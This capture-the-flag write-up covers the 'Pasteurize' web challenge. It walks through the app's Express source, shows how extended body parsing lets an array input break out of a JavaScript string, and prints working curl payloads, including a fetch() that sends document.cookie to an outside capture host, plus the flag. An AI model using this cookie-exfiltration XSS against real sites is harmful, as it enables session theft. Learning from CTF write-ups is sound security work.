# Pasteurize (Web)
## Introduction
This beginner challenge comes with the following instructions:
> This doesn't look secure. I wouldn't put even the littlest secret in here. My source tells me that third parties might have implanted it with their little treats already. Can you prove me right?
> https://pasteurize.web.ctfcompetition.com/
The URL leads to a paste-sharing web application:
![Initial screen](img/home.png)
After submitting some input ...
![Some input](img/home-input.png)
... we are redirected to https://pasteurize.web.ctfcompetition.com/96eaf657-15c6-49f9-9c56-396bdc4fec88:
![A note](img/note.png)
Note that the `onload`-attribute is sanitized to prevent cross-site scripting attacks.
By submitting an `` tag with a URL we control and clicking on "share with TJMike", we observe that there is a second IP address making a request. Thus, it is clear that the goal of this challenge is to find an XSS attack vector in order to extract the flag from TJMike.
## Observations
The source code reveals how the input is parsed and displayed:```html$ curl https://pasteurize.web.ctfcompetition.com/96eaf657-15c6-49f9-9c56-396bdc4fec88
<html>
<head>    <link href="/static/styles/style.css" rel="stylesheet">    <link rel="stylesheet" href="/static/styles/bootstrap.css">    <script src="/static/scripts/dompurify.js"></script>    <script src="/static/scripts/captcha.js"></script></head>
<body> ...     <div class=container>        <div class="container pt-5 w-75">
            <div class=card>                <div class="card-header">                 </div>                <div class="card-body">                    <div id="note-content"></div>                </div>
...
    </div>
      <script>        const note = "Hello \x3Cimg src=\"http://example.com\" onload=\"alert()\"\x3E";        const note_id = "96eaf657-15c6-49f9-9c56-396bdc4fec88";        const note_el = document.getElementById('note-content');        const note_url_el = document.getElementById('note-title');        const clean = DOMPurify.sanitize(note);        note_el.innerHTML = clean;        note_url_el.href = `/${note_id}`;        note_url_el.innerHTML = `${note_id}`;    </script>
...
</body>
</html>```
The "TODO: Fix b/1337 in /source that could lead to XSS" comment suggests a potential XSS vulnerability and points to https://pasteurize.web.ctfcompetition.com/source:
```javascript$ curl https://pasteurize.web.ctfcompetition.com/sourceconst express = require('express');const bodyParser = require('body-parser');const utils = require('./utils');const Recaptcha = require('express-recaptcha').RecaptchaV3;const uuidv4 = require('uuid').v4;const Datastore = require('@google-cloud/datastore').Datastore;
/* Just reCAPTCHA stuff. */const CAPTCHA_SITE_KEY = process.env.CAPTCHA_SITE_KEY || 'site-key';const CAPTCHA_SECRET_KEY = process.env.CAPTCHA_SECRET_KEY || 'secret-key';console.log("Captcha(%s, %s)", CAPTCHA_SECRET_KEY, CAPTCHA_SITE_KEY);const recaptcha = new Recaptcha(CAPTCHA_SITE_KEY, CAPTCHA_SECRET_KEY, {  'hl': 'en',  callback: 'captcha_cb'});
/* Choo Choo! */const app = express();app.set('view engine', 'ejs');app.set('strict routing', true);app.use(utils.domains_mw);app.use('/static', express.static('static', {  etag: true,  maxAge: 300 * 1000,}));
/* They say reCAPTCHA needs those. But does it? */app.use(bodyParser.urlencoded({  extended: true}));
/* Just a datastore. I would be surprised if it's fragile. */class Database {  constructor() {    this._db = new Datastore({      namespace: 'littlethings'    });  }  add_note(note_id, content) {    const note = {      note_id: note_id,      owner: 'guest',      content: content,      public: 1,      created: Date.now()    }    return this._db.save({      key: this._db.key(['Note', note_id]),      data: note,      excludeFromIndexes: ['content']    });  }  async get_note(note_id) {    const key = this._db.key(['Note', note_id]);    let note;    try {      note = await this._db.get(key);    } catch (e) {      console.error(e);      return null;    }    if (!note || note.length < 1) {      return null;    }    note = note[0];    if (note === undefined || note.public !== 1) {      return null;    }    return note;  }}
const DB = new Database();
/* Who wants a slice? */const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1)  .replace(/</g, '\\x3C').replace(/>/g, '\\x3E');
/* o/ */app.get('/', (req, res) => {  res.render('index');});
/* \o/ [x] */app.post('/', async (req, res) => {  const note = req.body.content;  if (!note) {    return res.status(500).send("Nothing to add");  }  if (note.length > 2000) {    res.status(500);    return res.send("The note is too big");  }
  const note_id = uuidv4();  try {    const result = await DB.add_note(note_id, note);    if (!result) {      res.status(500);      console.error(result);      return res.send("Something went wrong...");    }  } catch (err) {    res.status(500);    console.error(err);    return res.send("Something went wrong...");  }  await utils.sleep(500);  return res.redirect(`/${note_id}`);});
/* Make sure to properly escape the note! */app.get('/:id([a-f0-9\-]{36})', recaptcha.middleware.render, utils.cache_mw, async (req, res) => {  const note_id = req.params.id;  const note = await DB.get_note(note_id);
  if (note == null) {    return res.status(404).send("Paste not found or access has been denied.");  }
  const unsafe_content = note.content;  const safe_content = escape_string(unsafe_content);
  res.render('note_public', {    content: safe_content,    id: note_id,    captcha: res.recaptcha  });});
/* Share your pastes with TJMike? */app.post('/report/:id([a-f0-9\-]{36})', recaptcha.middleware.verify, (req, res) => {  const id = req.params.id;
  /* No robots please! */  if (req.recaptcha.error) {    console.error(req.recaptcha.error);    return res.redirect(`/${id}?msg=Something+wrong+with+Captcha+:(`);  }
  /* Make TJMike visit the paste */  utils.visit(id, req);
  res.redirect(`/${id}?msg=TJMike?+will+appreciate+your+paste+shortly.`);});
/* This is my source I was telling you about! */app.get('/source', (req, res) => {  res.set("Content-type", "text/plain; charset=utf-8");  res.sendFile(__filename);});
/* Let it begin! */const PORT = process.env.PORT || 8080;
app.listen(PORT, () => {  console.log(`App listening on port ${PORT}`);  console.log('Press Ctrl+C to quit.');});
module.exports = app;```
There are multiple measures in place to stop XSS attacks:* Angle brackets are converted to "safe" characters* Paste contents are sanitized with [DOMPurify](https://github.com/cure53/DOMPurify), preventing inline JavaScript code
## Exfiltration
While it is unclear what "Fix b/1337" refers to exactly, the source code reveals an important security flaw:
```javascript/* They say reCAPTCHA needs those. But does it? */app.use(bodyParser.urlencoded({  extended: true}));
...
const note = req.body.content;if (!note) {    return res.status(500).send("Nothing to add");}```
The [Express documentation](http://expressjs.com/en/resources/middleware/body-parser.html) explains:> extended
> The extended option allows to choose between parsing the URL-encoded data with the querystring library (when false) or the qs library (when true). The “extended” syntax allows for rich objects and arrays to be encoded into the URL-encoded format, allowing for a JSON-like experience with URL-encoded. For more information, please see the qs library.
Pastes can be created with this minimal cURL:```bash$ curl -X POST -d "content=Hello+world!" https://pasteurize.web.ctfcompetition.com/Found. Redirecting to /b9324f5c-b4e6-4345-9900-7c9ec4131333```
Empty pastes are blocked:```bash$ curl -X POST -d "content=" https://pasteurize.web.ctfcompetition.com/Nothing to add```
After reading up on the [qs](https://www.npmjs.com/package/qs) library, we observe the following behavior:```html$ curl -X POST -d "content[]=" https://pasteurize.web.ctfcompetition.com/Found. Redirecting to /78246dc4-e631-456c-a8e0-eb56f3429330
$ curl https://pasteurize.web.ctfcompetition.com/78246dc4-e631-456c-a8e0-eb56f3429330... <script>        const note = """";...```
This enables our XSS attack vector:```html$ curl -X POST -d "content[]=;alert('XSS');" https://pasteurize.web.ctfcompetition.com/Found. Redirecting to /9b12b762-9440-40e7-8476-bb3606ad27ed
$ curl https://pasteurize.web.ctfcompetition.com/9b12b762-9440-40e7-8476-bb3606ad27ed... <script>        const note = "";alert('XSS');"";...```
After some trial and error, we observe that the cookie is contained in TJMike's cookie. We will use [PTS](https://ptsv2.com/) to extract it. Note that we have to convert "+" to "%2b".```bash$ curl -X POST -d "content[]=;fetch('https://ptsv2.com/t/xxxxx-xxxxxxxxxx/post?c='%2bdocument.cookie);" \ https://pasteurize.web.ctfcompetition.com/```
After sharing paste with TJMIke, we can finally extract his cookie using PTS:
![TJMIke's cookie](img/pts.png)
Flag: `CTF{Express_t0_Tr0ubl3s}`